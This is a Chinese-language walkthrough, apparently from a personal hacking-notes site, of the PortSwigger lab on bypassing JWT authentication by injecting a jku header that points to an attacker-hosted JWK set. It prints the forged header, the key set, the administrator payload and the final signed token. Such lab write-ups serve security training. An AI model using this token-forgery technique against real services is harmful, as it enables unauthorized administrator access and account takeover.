> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-jku-parameter-injection.md).
# 通过 JKU 参数注入绕过 JWT 身份验证
### 通过 JKU 头注入绕过 JWT 身份验证
**实验背景**
本实验使用基于 JWT 的会话管理机制。/ 服务器支持 **jku** JWT 头中的参数，它指示用于检验签名的公钥（JWK）获取自哪个 URL。
漏洞源于以下事实： **服务器不会检查在其中提供的 URL 是否 `jku` 属于受信任的域名**。因此可以强制服务器获取由攻击者控制的公钥。
目标：
* 伪造一个 JWT 以允许访问 `/admin` 管理面板
* 删除用户 **carlos**
提供的标识符：
* `wiener : peter`
**JWT 初始**
使用以下凭据进行身份验证后可获得一个有效的 JWT： `wiener` 用户：
{% code overflow="wrap" %}
```bash
eyJraWQiOiJhMjZmNDUwYy1lOWRjLTRlZTUtODRjOC1lYWQxNWNmNDE2NjkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODI3OSwic3ViIjoid2llbmVyIn0.QdpQA5ISeH9BS1JttLfm9VCOWA28H6-RDgCV59L5KVr3B8qLBXtt6DgQ32eW6mlKldZ8ZWhufcaPEsReqERGdhvgAWrQhruF7awvsGceHFQgxxBqcW3Yd3urPIZzl-S_EdIVaUwxgLkOv9acYUG1h9GJqgSFIyAjB8JuxQSHSHItzJSTHVMNQ9ffYDOb3fOQW64_LQko2rWUZLRhkG1-JTX3xYA03FOlvbVC4BfXKCBWV-dlrQaeFV8JgrMr-uDKhnJuzD34xFfjav0SXPedTRwMLhnThyFJJzx5OZwSnTUEuqlnipndHvjOhxYX-0OVbqpONwRrd41buEK1EI_HqA
```
{% endcode %}
**修改 JWT 头**
攻击方法是添加 **jku** 参数到头部，用于指示托管在 Exploit Server 上的公共 URL，它将作为受控的 JWK 密钥。
修改后的头部：
```json
{
"kid": "a26f450c-e9dc-4ee5-84c8-ead15cf41669",
"alg": "RS256",
"jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net"
}
```
**生成一对 RSA 密钥**
攻击方生成了一对新的 RSA 密钥。
公钥被转换为 JWK 格式，以便由 Exploit Server 提供。
JWK 公钥内容：
```json
{
"kty": "RSA",
"e": "AQAB",
"kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
"n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
```
**在 Exploit Server 上托管 JWK**
JWK 以密钥集合的形式显示，正如目标服务器所期望的那样：
```json
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
"n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
]
}
```
**JWT 最终头部**
该 **kid** 字段已更新为与托管的 JWK 一致，并且 **jku** 指向公开文件的确切 URL：
```json
{
"kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
"alg": "RS256",
"jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net/exploit"
}
```
**签名和权限提升**
JWT 使用以下内容签名： **私钥** 对应于所显示的公钥。
载荷被修改为冒充管理员用户：
```json
{
"iss": "portswigger",
"exp": 1767548841,
"sub": "administrator"
}
```
最终 JWT：
```bash
eyJraWQiOiIwZDYxOWI5OC1iNGE2LTQyNTItOWQzZS1mMzcwNTQzMzYzNGIiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYWUxMDA1MDA0NmJkNTIwODFkNWI2ODMwMWNhMDBiZS5leHBsb2l0LXNlcnZlci5uZXQvZXhwbG9pdCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODg0MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.QWCX9x4q3baQllVGwrVewi5-lPXFEvLltEn9hm3mwSz4XjDbBXABtUL5bB5bUL4_kE1tQrbgG5JFwsHocV6pew8hvm3mZ-0yspsr7bc-qD7RYBU8jecC2wX2R8TflGtKgIKf9KwWPLxRDWkYPOBIbwhSp5HTAbe9Ns4ZZVUz7_nIcypKHyJBOSXSCLHQI7HUrkll3ekHiR9a-n7gSeVkJ3-qnrMBDibasazlChaoxVaLRQGsFrEX7xFKA1eYYM1SxnhfHSO6Q-txUmdOtzAMEdlsSAOPIyJ5aRvIkSDBwHNzl8ouEl5c-qEjmEfShgUuNY6HIERn96HRIj5xGQgIGg
```
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